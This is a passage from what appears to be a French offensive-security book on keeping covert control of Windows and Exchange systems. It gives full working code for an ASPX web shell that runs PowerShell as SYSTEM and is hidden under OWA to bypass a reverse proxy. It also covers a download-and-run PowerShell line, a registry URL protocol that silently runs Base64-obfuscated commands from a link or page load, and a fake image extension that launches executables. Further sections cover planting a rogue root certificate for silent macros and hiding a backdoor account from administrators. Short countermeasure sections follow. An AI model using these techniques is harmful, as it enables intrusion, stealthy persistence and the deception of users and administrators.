Nous pouvons aussi utiliser un pool d’applications existant au lieu d’en créer un, si l’un des
services a déjà un pool utilisant les droits système.
Pour en créer un nouveau, ouvrez la console de management de IIS. Cliquez avec le bouton
droit de la souris sur Pools d’applications - Ajouter un pool d’applications….

Donnez un nom et choisissez la version .NET que vous préférez. Nous vous conseillons
.NET 4.0.
Allez dans les paramètres avancés et modifiez l’Identité pour remplacer la valeur actuelle par
Local System.

Les applications qui utiliseront ce pool auront les droits système sur la machine.
b. Ajouter une application web
Pour outrepasser la sécurité des pare-feu externe et interne, il suffit d’utiliser les règles déjà
publiées. Concernant le contournement de la sécurité d’un éventuel reverse proxy, il faut être
un peu plus prudent. Si le reverse proxy est bien configuré, il n’autorise pas l’accès à tous les
sous-dossiers/adresses d’un site publié.
Mais certaines applications sont difficiles à configurer et, dans ce cas, le proxy est souvent
laissé par défaut, ce qui autorise tous les sous-dossiers.

Nous allons donc contourner les règles de sécurité du reverse proxy en créant une application
web sous une application existante.
Allez sur une application virtuelle existante, comme OWA sur serveur Exchange, ou MEET
ou DIALIN sur un serveur Lync. Cliquez ensuite sur le bouton droit pour ajouter une
nouvelle application.
Donnez un nom et un chemin pour vos fichiers :

Changez les paramètres d’authentification, pour activer seulement l’authentification


anonyme.
Nous allons tester nos changements, pour vérifier la configuration.
Créez un fichier index.html dans le dossier c:\temp\cmd.
<html>
Le site fonctionne
</html>
On peut déjà tester le changement, en allant sur le site :

Le site fonctionne, il est donc possible pour nous de garder une emprise sur le serveur.
c. Ajouter une page web de commande
Le site de test marche bien, mais en l’état, il ne nous sert à rien. Nous allons créer une page
aspx qui nous permettra de formuler des commandes PowerShell au serveur, qui lui, les
exécutera et nous donnera le retour.
Ouvrez le Bloc-notes et écrivez le code suivant dans un fichier nommé webcmd.aspx :
<%@ Page Language="C#" %>

<!DOCTYPE html>

<script runat="server">

protected void Button1_Click(object sender, EventArgs e)


{
string retour ="";
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "Powershell.exe";
p.StartInfo.Arguments = "/c " + txtcmd.Text;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.UseShellExecute = false;
p.Start();
retour = p.StandardOutput.ReadToEnd();
retour += p.StandardError.ReadToEnd();
p.WaitForExit();
txtresult.Text = retour;
SetFocus(txtcmd);
}
</script>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Powershell cmd</title>
</head>
<body style="background-color: #000000">
<form id="form1" runat="server">
<div>

<asp:Label ID="Label1" runat="server" Text="Ecrivez les commandes


powershell ici:" ForeColor="White" Font-Bold="True"></asp:Label>
<br />

<asp:TextBox ID="txtcmd" runat="server" Height="110px" TextMode=


"MultiLine" Width="760px" BackColor="#000066" ForeColor="Yellow">
</asp:TextBox>
<br />
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
Text="Executer la commande" Width="760px" BackColor="White"
ForeColor="Black" />
<br />
<asp:TextBox ID="txtresult" runat="server" Height="300px"
ReadOnly="True" TextMode="MultiLine" Width="760px"
BackColor="#000066" ForeColor="Yellow"></asp:TextBox>

</div>
</form>
</body>
</html>
Une fois ce document créé, copiez-le dans le dossier de l’application web.
Activez le parcours des dossiers pour l’application web.

d. Utiliser l’accès Web PowerShell


Il vous est maintenant possible d’exécuter des commandes PowerShell sur le serveur à
distance avec les droits système en contournant le firewall et le reverse proxy normalement
présent pour empêcher cela. Il suffit pour cela d’aller sur la page créée. Allez sur
https://mail.votreserveur.fr/owa/cmd/webcmd.aspx.
Pour savoir quels modules sont disponibles sur le serveur :
Get-module -listavailable

Pour manager des objets Active Directory, faites un import du module, puis exécutez la
commande ci-dessous. Vous pouvez mettre plusieurs commandes à la suite.
import-module activedirectory;
get-aduser -filter *;
Pour utiliser les fonctionnalités Exchange, ajoutez les snap-in adéquats avant votre
commande.
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;
Get-Mailbox
Pour rappel, pour télécharger depuis Internet avec PowerShell, il suffit d’utiliser un objet
.NET. de type WebClient.
$web = New-Object System.Net.WebClient
$web.DownloadFile(’http://web/app.exe’,’c:\temp\app.exe’)
Vous pourrez à l’aide de cette commande télécharger de nouvelles pages sur le serveur et
ajouter des scripts plus complexes ou même des applications puissantes pour garder le
contrôle sur tout l’environnement.

3. Contre-mesures
Vous devez absolument analyser régulièrement les sites web à risque pour détecter
d’éventuelles portes dérobées laissées par un consultant ou un salarié ayant quitté l’entreprise
dans de mauvaises circonstances. À chaque fin de projet intégrant une personne externe sur un
serveur à risques comme Exchange, SharePoint, Lync ou encore un serveur web, analysez le
service concerné pour garantir qu’il n’y a pas d’ouverture anormale. Auditez également
régulièrement les groupes de sécurité pour les groupes administrateurs, mais aussi pour les
rôles Exchange, SQL, Lync, SharePoint, etc.

Conserver discrètement un moyen de


prendre le contrôle sur un PC ou un
serveur
Les méthodes passives sont beaucoup plus discrètes qu’un programme en attente d’une
connexion ou qu’un programme se connectant toutes les minutes à Internet à la demande d’un
ordre. Il s’agit de modifier le système de manière à ce qu’il réponde à une demande
particulière uniquement. Ce type de changement, si un processus est lié, il ne doit être
démarré que lors de l’attaque, sinon ce n’est plus passif. Ce type de scénarios est donc très
difficile à détecter.

1. Ajouter un protocole et piéger la navigation


L’idéal, c’est de pouvoir donner à un utilisateur une commande qu’il exécutera sans qu’il ne
s’en rende compte. Pour cela, nous allons ajouter un protocole qu’Internet Explorer
comprendra et exécutera. Le changement devra être fait sans qu’il y ait besoin des droits
administrateurs. Nous modifierons donc le système au niveau de l’utilisateur.
a. Modifier le registre
Pour ajouter un protocole compris par le système, nous allons ajouter une entrée dans le
registre. Cette entrée particulière sera appelée lorsqu’un utilisateur cliquera sur un lien
particulier ou lorsqu’il chargera une page piégée comportant une redirection sur un lien piégé.
Nous allons créer OC Protocol, qui correspond à « Opérationnel Commande ».
Créez le fichier suivant avec le Bloc-notes et enregistrez le sous le nom cel.reg.
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\oc]
"URL Protocol"=""
@="URL:OC Protocol"

[HKEY_CURRENT_USER\Software\Classes\oc\DefaultIcon]
@="C:\\windows\\explorer.exe,0"
[HKEY_CURRENT_USER\Software\Classes\oc\shell]

[HKEY_CURRENT_USER\Software\Classes\oc\shell\open]

[HKEY_CURRENT_USER\Software\Classes\oc\shell\open\command]
@= "powershell -noexit -Windowstyle hidden -command \"&
{$C=’%1’;$C=$C.Remove(0,3);iex $C}\""
Lors de l’ouverture d’une URL, le navigateur va contrôler dans le registre si le protocole
demandé est connu. Si c’est le cas, il va lire puis exécuter la valeur par défaut dans la clé
…/Protocole/SHELL/OPEN/Command.
Celle-ci va exécuter une commande PowerShell en mode caché :
powershell -noexit -Windowstyle hidden -command "& { ... }"
Le paramètre reçu du navigateur est l’URL écrite, cela correspond à %1.
Le code HTML d’un lien piégé :
<a href="oc:ls=" >Cliquez ici</a>
On reçoit du navigateur :
%1 = ’oc:ls’
La commande PowerShell à exécuter est donc ls, nous supprimons les trois premiers
caractères, pour ne garder que la commande PowerShell :
$C=’%1’;
$C=$C.Remove(0,3);
Nous avons à ce stade $C = ”ls”. Nous exécutons ensuite la commande :
Iex $C
Avant de tester, nous devons aussi autoriser le protocole dans Internet Explorer, sinon
l’utilisateur devra confirmer vouloir démarrer l’application.
Ajoutez cette clé à votre fichier de registre avant de l’exécuter :
[HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\ProtocolExecute\oc]
"WarnOnOpen"=dword:00000000
L’utilisateur ne devra pas confirmer vouloir exécuter l’application sous Internet Explorer.
b. Utiliser le changement
Pour tester le changement sur votre machine, exécutez le fichier de registre créé.
Nous allons faire exécuter une commande PowerShell qui liste les fichiers et envoie le tout
dans un fichier :
Ls > c:\temp\dir.txt
Créez une page web, allez sur un forum ou sur un site SharePoint et ajoutez un lien vers une
page avec comme URL :
Oc:ls > c:\temp\dir.txt
Le résultat final en HTML devrait ressembler à cela :
<a href="Oc:ls > c:\temp\dir.txt" >Cliquez ici</a>
En cliquant sur le lien, PowerShell s’ouvre brièvement et un fichier est créé dans
l’emplacement défini.
c. Masquage du script
Le script PowerShell est visible en clair dans le code de la page HTML. Ce qui n’est pas très
joli. Un administrateur risque de vite découvrir le problème si vous poussez ce type de code
sur un site SharePoint ou un intranet.

Nous allons cacher le code en l’encodant en Base64. Il ne sera ainsi plus lisible dans la page.
Pour cela, nous allons encoder le code PowerShell en Base64 à l’aide de l’application qui
nous a déjà servi à encoder du JavaScript en hexadécimal (il est téléchargeable sur la page
Informations générales).

La source HTML doit maintenant ressembler à ceci :


<a href="oc:bHMgPiBjOlx0ZW1wXGRpdC50eHQ=" >Clique ici</a>
La clé de registre du protocole doit aussi être modifiée pour comprendre l’encodage :
[HKEY_CURRENT_USER\Software\Classes\oc\shell\open\command]
@="powershell -Windowstyle hidden -command \"&
{$C=’%1’;$C=$C.Remove(0,3); $B= [System.Convert]::
FromBase64String($C); $D=
[System.Text.Encoding]::UTF8.GetString($B); iex $D}\""
Nous ne prenons que la partie de code PowerShell :
$C=’%1’;
$C=$C.Remove(0,3);
Nous utilisons des objets du framework .NET pour transformer le code Base64 en texte
compréhensible :
$B= [System.Convert]::FromBase64String($C);
$D= [System.Text.Encoding]::UTF8.GetString($B);
À ce stade, $D contient la commande en texte. Nous l’exécutons :
Iex $D ;
Pour faire exécuter PowerShell à l’ouverture de la page, vous pouvez utiliser JavaScript dans
l’en-tête d’une page :
<head>
<script language="javascript">
<!--
window.location.href = ’oc:bHMgPiBjOlx0ZW1wXGRpdC50eHQ=’;
//-->
</script>
</head>
<html>
....
</html>
Voilà, nous avons atteint le résultat souhaité : il est maintenant possible d’utiliser notre
technique en étant plus discret.

2. Ajouter ou modifier une extension


Nous avons vu comment préparer le navigateur à être manipulé pour une attaque discrète
exécutée par une page web ou un lien. Nous allons maintenant préparer le système à être
attaqué par une voie différente. Quand l’utilisateur reçoit une pièce jointe comme un
exécutable, il ne l’exécute pas forcément. S’il reçoit une image ou un document qui paraît
sans danger, il y a beaucoup plus de chances qu’il ouvre le fichier sans se méfier. L’idéal,
c’est que l’utilisateur ouvre une image et que celle-ci exécute du code malveillant puis
s’affiche normalement. Nous allons pour cela créer l’extension BNP du système. Nous
pourrions modifier l’extension BMP, mais cela rendrait ces fichiers inutilisables. L’utilisateur
se douterait alors de quelque chose. Le principe reste semblable à celui utilisé pour créer un
protocole.
a. Modifier le registre
Pour ajouter l’extension BNP, nous allons modifier le registre de l’utilisateur pour que celui-
ci ouvre un fichier BNP comme un exécutable et non comme une image. Mais la
ressemblance est suffisante pour le piéger.
Ouvrez un éditeur de texte et créez un document nommé bnpFile.reg.
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\.bnp]

[HKEY_CURRENT_USER\Software\Classes\.bnp\DefaultIcon]
@="%1"

[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell]

[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell\Open]
[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell\Open\Command]
@="\"%1\" %*"
"IsolatedCommand"="\"%1\" %*"

[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell\runas]

[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell\runas\command]
@="\"%1\" %*"
"IsolatedCommand"="\"%1\" %*"
Après avoir ajouté ces clés au registre de la cible, vous pourrez lui envoyer un fichier EXE
renommé en fichier BNP.

Pensez à changer l’icône de l’exécutable pour la faire ressembler à celle d’un fichier normal,
et lors de l’exécution, à afficher une image réelle à l’utilisateur, pour que la supercherie ne
soit pas découverte.
b. Utiliser le changement
Développez votre propre exécutable à partir des exemples de ce livre. Copiez-le plusieurs fois
en y changeant l’image incluse qui s’affichera à chaque fois. Renommez les fichiers finaux en
imagexx.bnp.
Vous pouvez créer un package avec Iexpress :

Dans la mesure où vous utilisez une application créée avec Iexpress ou un programme pour
lequel vous ne maîtrisez pas le choix de l’icône, vous pouvez la changer avec ResHack
(Resource Hacker).
Mettez les « images » ainsi renommées dans un dossier zip et envoyez le tout à la cible. À
chaque fois que l’utilisateur ouvrira une fausse image ainsi manipulée, il aura en même temps
démarré un exécutable ou un script.

3. Ajouter un certificat racine


En quoi un certificat racine serait dangereux pour l’utilisateur et en quoi cela nous aiderait ?
Très simplement, quand une macro d’un document Office est signée par une source fiable,
elle est exécutée par défaut sans aucun message ni avertissement. Un document Office devient
alors aussi puissant qu’un exécutable. Quand un site web en HTTPS est visité, l’origine du
certificat est contrôlée et s’il est reconnu fiable, l’utilisateur n’aura pas d’avertissement pour
lui dire que le site n’est pas le site officiel. L’ajout d’un certificat racine est donc une bonne
manière de préparer le terrain pour ensuite envoyer des documents piégés et prendre le
contrôle d’une session.
Pour ajouter un certificat racine à l’utilisateur :
certutil -user -addstore root root.cer
Une fois la manipulation faite sur la session cible, vous pouvez piéger un document Office en
signant le code de la macro.
Pour signer le code, lors de l’édition de celui-ci, allez dans le menu Outils - Signature
électronique....
Choisissez le certificat obtenu de la même autorité de certification que celle reconnue fiable
chez la cible. Enregistrez ensuite le document dans l’ancien format, par exemple, DOC pour
un fichier Word. Lors de l’ouverture par la cible, la macro s’exécutera directement. Vous
pourrez envoyer n’importe quelle commande cachée dans un document innocent.

4. Cacher un compte utilisateur


Quand on crée un utilisateur pour garder un contrôle sur un PC ou une machine, il laisse
forcément une trace. L’idéal pour nous, c’est qu’il soit découvert le plus tard possible. Il nous
faut alors trouver des moyens pour le rendre invisible aux yeux des administrateurs.
a. Cacher un utilisateur local
Sur un PC ou un serveur, lorsqu’un compte est créé localement, celui-ci est affiché avec tous
les autres lors de l’ouverture de la session. Il est donc difficile de le cacher.

Une manipulation du registre permet de le rendre invisible.


Pour cacher un utilisateur du nom de Pirate, ouvrez un éditeur de texte et créez un nouveau
fichier User.Reg :
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Winlogon\SpecialAccounts\UserList]
"pirate"=dword:00000000
Une fois le compte modifié, l’utilisateur Pirate ne sera plus visible à l’écran d’accueil.
b. Cacher un utilisateur dans Active Directory
Un utilisateur créé dans l’annuaire est visible par un administrateur. Toutefois, s’il est caché
parmi d’autres au milieu de nombreuses unités d’organisation, il va être difficile pour
l’administrateur de trouver un compte suspect.
Lorsque des audits de sécurité sont effectués sur Active directoy, souvent seuls les comptes
utilisateurs ayant un mot de passe n’expirant jamais ou les utilisateurs présents dans certains
groupes de sécurité comme le groupe Administrateurs sont recherchés.
Pour chercher un utilisateur n’ayant pas d’expiration sur son mot de passe, on peut utiliser les
recherches communes :
La requête nous retourne neuf résultats.
Donc pour encore mieux le cacher, nous allons modifier les droits sur le compte afin que les
administrateurs n’aient plus l’autorisation de voir l’objet.
Pour cela, activez la vue avancée dans la console Utilisateurs et ordinateurs Active
Directory, dans le menu Vue - Fonctions avancées. À partir de là, vous aurez accès à
l’onglet Sécurité sur les utilisateurs.
Vous devez bloquer chaque compte administrateur trouvé dans les groupes Administrateurs,
Administrateurs de l’entreprise ou encore Administrateurs du domaine. Vous ne devez
pas bloquer directement le groupe, sinon vous bloquerez totalement l’utilisateur.

Une fois les droits modifiés, Administrator dans le cas précédent ne trouvera plus le compte
Pirate. Comme vous l’avez observé, il suffit, pour se cacher, de modifier les droits.

Cette fois, seulement six résultats sont retournés, le compte Pirate a été caché à
l’administrateur.

5. Contre-mesures
Les protocoles et les extensions peuvent être par défaut ajoutés dans des clés de registre où
l’utilisateur a le droit d’écrire. Il faut simplement modifier les droits sur ces clés à l’aide des
stratégies de groupe pour empêcher l’ajout d’un protocole ou d’une extension.
Si l’utilisateur n’a pas les droits administrateurs, il ne pourra pas cacher un utilisateur, le défi
est donc de l’empêcher d’avoir ces droits. Les objets Active Directory, les fichiers ainsi que
les clés de registre peuvent être audités en utilisant NTFS, il convient donc d’activer l’audit
pour surveiller une modification anormale.
Les certificats racines peuvent être gérés par une stratégie de groupe. Vous pouvez également
bloquer l’utilisation de certutil.exe, ce qui limitera les risques d’ajout d’un certificat par script.